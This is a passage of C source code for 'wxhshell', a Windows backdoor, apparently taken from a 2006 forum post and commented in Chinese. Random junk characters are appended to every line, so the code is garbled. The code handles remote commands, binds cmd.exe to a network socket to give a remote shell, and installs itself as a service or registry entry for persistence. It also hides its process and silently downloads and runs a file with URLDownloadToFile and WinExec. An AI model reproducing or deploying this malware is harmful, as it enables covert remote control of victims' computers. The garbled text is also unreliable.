    switch(cmd[0]) { CsHHJgx  
  $Llv6<B  
  // 帮助 aTS\NpK&  
  case '?': { D ]Q,~Y&'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >)*'w!  
    break; stuj,8  
  } 4-;"w;  
  // 安装 H'k$<S  
  case 'i': { T<(1)N1H`  
    if(Install()) ir/m. ~?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !z">aIj\6  
    else -4ry)isYx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FJ0Ity4u6  
    break; h}-}!v  
    } Qt`hUyL  
  // 卸载 68Po`_/s  
  case 'r': { _5TSI'@.4  
    if(Uninstall()) >qj.!npQD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U-Ia$b-5!  
    else yUV0{A-q{0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); < kyT{[e+6  
    break; 9A_{*E(wd  
    } ]<b$k  
  // 显示 wxhshell 所在路径 Zjis0a]v~k  
  case 'p': { I\ e?v`e  
    char svExeFile[MAX_PATH]; Gl8D GELl;  
    strcpy(svExeFile,"\n\r"); rR`'l=,t  
      strcat(svExeFile,ExeFile); e_'/4 n  
        send(wsh,svExeFile,strlen(svExeFile),0); iV9wqUkMv  
    break; yg({g "  
    } <Sds5 d  
  // 重启 U%%fKL=S  
  case 'b': { iMG)zPj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?LJ$:u  
    if(Boot(REBOOT)) 1Q_  C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m2c>RCq  
    else { >tF3|:\  
    closesocket(wsh); 1 & G0;  
    ExitThread(0); & \<!{Y<'  
    } #I> c$dd  
    break; m(0sG(A~  
    } u.v 5!G  
  // 关机 & gF*p  
  case 'd': { J|*Z*m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vb{5-v ;a  
    if(Boot(SHUTDOWN)) <Q57}[$*)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;]*V6!6RR  
    else { :`u?pc27Sm  
    closesocket(wsh); ?O(@BT  
    ExitThread(0); R7)\w P*l5  
    } 5x$/.U  
    break; \YUl$d0  
    } 2_S%vA<L  
  // 获取shell b1+6I_u.  
  case 's': { ;8F|Q<`pV  
    CmdShell(wsh); {u!Q=D$3  
    closesocket(wsh); &[u>^VO8  
    ExitThread(0); zk6al$3R  
    break; Za,MzKd=  
  } I+JWDYk  
  // 退出 0*e)_l!  
  case 'x': { cnJL*{H<2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g)Ep'd-w"  
    CloseIt(wsh); n oWjZ  
    break;  Om%HrT  
    } 2T3TD%  
  // 离开 L >* F8|g  
  case 'q': { 4)]w"z0Pc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M.DU^-7  
    closesocket(wsh); [cJQ"G '  
    WSACleanup(); *[ ' n8Z  
    exit(1); p#14  
    break; ~Te9Lq|  
        } r'TxYM-R  
  } P<. TiF?@  
  } 0<g;g%   
~Onj| w7  
  // 提示信息 m7~<z>5$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G,jv Mb`+  
} ;HKb  
  } gzHMZ/31  
`zRE$O  
  return; 1\'?.  
} {z^6V\O5  
FWi c/7  
// shell模块句柄 {"^LUw8fd  
int CmdShell(SOCKET sock) ZQL4<fy'E  
{ 8Ce|Q8<8]  
STARTUPINFO si; |3Fo4K%+  
ZeroMemory(&si,sizeof(si)); N}$$<i2o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tEU}?k+:j)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ou26QoT9XI  
PROCESS_INFORMATION ProcessInfo; /]xu=q2  
char cmdline[]="cmd"; @Feusprs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xH,D bAC;  
  return 0; S]Y3nI  
} zC@ ziH>{]  
2s^9q9NS"  
// 自身启动模式 ?&ow:OH+  
int StartFromService(void) r>>4)<C7J  
{ 1v<,nABuJ6  
typedef struct u~uR:E%'C  
{ U{ZE|b. ?b  
  DWORD ExitStatus; ;)6LX-  
  DWORD PebBaseAddress; N5ph70#y3  
  DWORD AffinityMask; [N35.O6P6u  
  DWORD BasePriority; h20<X;  
  ULONG UniqueProcessId; k$ ya.b<X/  
  ULONG InheritedFromUniqueProcessId; iY|zv|;]=  
}   PROCESS_BASIC_INFORMATION; (f-Mm0%[  
+t9$*i9`L  
PROCNTQSIP NtQueryInformationProcess; ;^[VqFpeS  
RJYB=y8l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T%[&[8{8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~PTqR2x  
-a[[1  
  HANDLE             hProcess; m'!smS x8  
  PROCESS_BASIC_INFORMATION pbi; tRUGgf`  
hc2AGeZr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6~oo.6bA  
  if(NULL == hInst ) return 0; p)x*uqSd  
A`#/:O4|f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f;PPB@ :`$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l[,RA?i {  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `rwzCwA1  
E$4_.Z8sRw  
  if (!NtQueryInformationProcess) return 0; @|=JXSr!KY  
?k 4|;DD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @nh* H{  
  if(!hProcess) return 0; ,m HQ  
x5X;^.1Fr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S-5|t]LV  
1#Ls4+]5  
  CloseHandle(hProcess); k2-:! IE  
oP"X-I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7A@iu*t  
if(hProcess==NULL) return 0; ~Z{IdE  
v M lT  
HMODULE hMod; $-=QTX  
char procName[255]; doX8Tq   
unsigned long cbNeeded; hoLQuh%2%  
@W|N1,sp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?*nFz0cs^  
`R\nw)xq  
  CloseHandle(hProcess); <=yqV]JR  
ycPGv.6  
if(strstr(procName,"services")) return 1; // 以服务启动 >RTmfV  
-|FSdzvg  
  return 0; // 注册表启动 4PcsU HR  
} IAl X^6s*  
`\pv^#5HV9  
// 主模块 Q4[^JQsR2  
int StartWxhshell(LPSTR lpCmdLine) J% b`*?A  
{ (b*PDhl`+  
  SOCKET wsl; 6^Q/D7U;s  
BOOL val=TRUE; Q,`R-?v  
  int port=0; P<OSm*;U:  
  struct sockaddr_in door; Twi7g3}/jB  
k%gO  
  if(wscfg.ws_autoins) Install(); %77X/%.Y  
f~rq)2V:  
port=atoi(lpCmdLine); nF)XZB 0F  
lG>,&(  
if(port<=0) port=wscfg.ws_port; Rn4Bl8z'>  
;Pd nE~  
  WSADATA data; rYP72<   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BPwn!ii|  
1[ 4)Sq?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #J): N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5Xr<~xr  
  door.sin_family = AF_INET; aQTISX;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [ e6zCN^t  
  door.sin_port = htons(port); 2K~<_.S  
zQ=c6xvm8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ..=WG@>$+  
closesocket(wsl); <pXF$a:s  
return 1; ?r}'0dW  
} >Hd0l L  
~rl,Hr3Z o  
  if(listen(wsl,2) == INVALID_SOCKET) { IHs^t/;Iv  
closesocket(wsl); Mnx')([;W  
return 1; xk/osbKn  
} cOz/zD f5  
  Wxhshell(wsl); pFW^   
  WSACleanup(); kM;fxR:-  
?\.DG`Zxc  
return 0; %%c1@2G<  
9()d7Y#d/`  
} +;|" #  
"pa2,-&  
// 以NT服务方式启动 Gp.XTz#=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _Xe" +  
{ JsA.j qkB  
DWORD   status = 0;  D_D76  
  DWORD   specificError = 0xfffffff; +WTO_J7  
1<(('H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a^xt9o`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :g~X"C1s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W)z@>4`Bb  
  serviceStatus.dwWin32ExitCode     = 0; ;+3XDz v  
  serviceStatus.dwServiceSpecificExitCode = 0; eJ"je@vvrK  
  serviceStatus.dwCheckPoint       = 0; U-6pia /o  
  serviceStatus.dwWaitHint       = 0; Q?xCb  
g-8D1.U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +!JTEKHKH  
  if (hServiceStatusHandle==0) return; \\d!z-NOk?  
M8y:FDX  
status = GetLastError(); Ss$/Bh>hN  
  if (status!=NO_ERROR) 41XS/# M$*  
{ _rakTo8BY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Po*G/RKu4W  
    serviceStatus.dwCheckPoint       = 0; vP @\"  
    serviceStatus.dwWaitHint       = 0; (`cXS5R  
    serviceStatus.dwWin32ExitCode     = status; UfxY D  
    serviceStatus.dwServiceSpecificExitCode = specificError; ODFCA. t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NfsF'v  
    return; =#so[Pd  
  } jV 98 2Y  
'Z}3XVZEN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EpUBO}q]  
  serviceStatus.dwCheckPoint       = 0;  &peUC n  
  serviceStatus.dwWaitHint       = 0; .EB'n{zxd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +zL|j/q?  
} /3KPK4!m  
VOkSR6  
// 处理NT服务事件,比如:启动、停止 >[r,X$]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) );!IGcgF  
{ yLgv<%8f  
switch(fdwControl) m4_ZGjmJM  
{ A?+cdbxJw  
case SERVICE_CONTROL_STOP: q445$ndCT  
  serviceStatus.dwWin32ExitCode = 0; ,ui=Wi1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &G$K. q  
  serviceStatus.dwCheckPoint   = 0; p6AF16*f0  
  serviceStatus.dwWaitHint     = 0; EGw;IFj)  
  { R|'ftFebB.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wmDO^}>ZP  
  } +[B@83  
  return; ,TlYQ/j%h  
case SERVICE_CONTROL_PAUSE: aQHB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SSn{,H8/j  
  break; ! z6T_;s  
case SERVICE_CONTROL_CONTINUE: P<C=9@`!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rGm xK|R  
  break; M97MIku~9  
case SERVICE_CONTROL_INTERROGATE: m"f3hd4D_q  
  break; :-tMH02c  
}; `DS7J\c$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HB*H%>L{"B  
} ni?5h5-  
@ D.MpM}~  
// 标准应用程序主函数 7-VP)|L#G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {NUI8AL46A  
{ C$4!|Wg3  
] XjL""EbC  
// 获取操作系统版本 uN@El1ouY  
OsIsNt=GetOsVer(); ZtGtJV"H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p8(Z{TSv  
!,9 ;AMO -  
  // 从命令行安装 8 k )i-&R  
  if(strpbrk(lpCmdLine,"iI")) Install(); W|(U} PrC  
!W/"Z!k  
  // 下载执行文件 m[qW)N:w  
if(wscfg.ws_downexe) { _c>8y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N(`XqeC*  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2= zw !  
} nLY(%):(P  
*~kHH  
if(!OsIsNt) { ]([^(&2  
// 如果时win9x,隐藏进程并且设置为注册表启动 lf\x`3Vd  
HideProc();  vg8Yc  
StartWxhshell(lpCmdLine); rUg|5EN^)d  
} GL,( N|  
else 6t4Khiwx  
  if(StartFromService()) zs.@=Z"  
  // 以服务方式启动 &3 *#h  
  StartServiceCtrlDispatcher(DispatchTable); t"?)x&dS  
else D"CU J?  
  // 普通方式启动 ^$s&bH'8  
  StartWxhshell(lpCmdLine); 5Z`f .}^w  
`(M0I!t  
return 0; rE%H NPO  
}
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只看该作者 1 发表于: 2006-10-10
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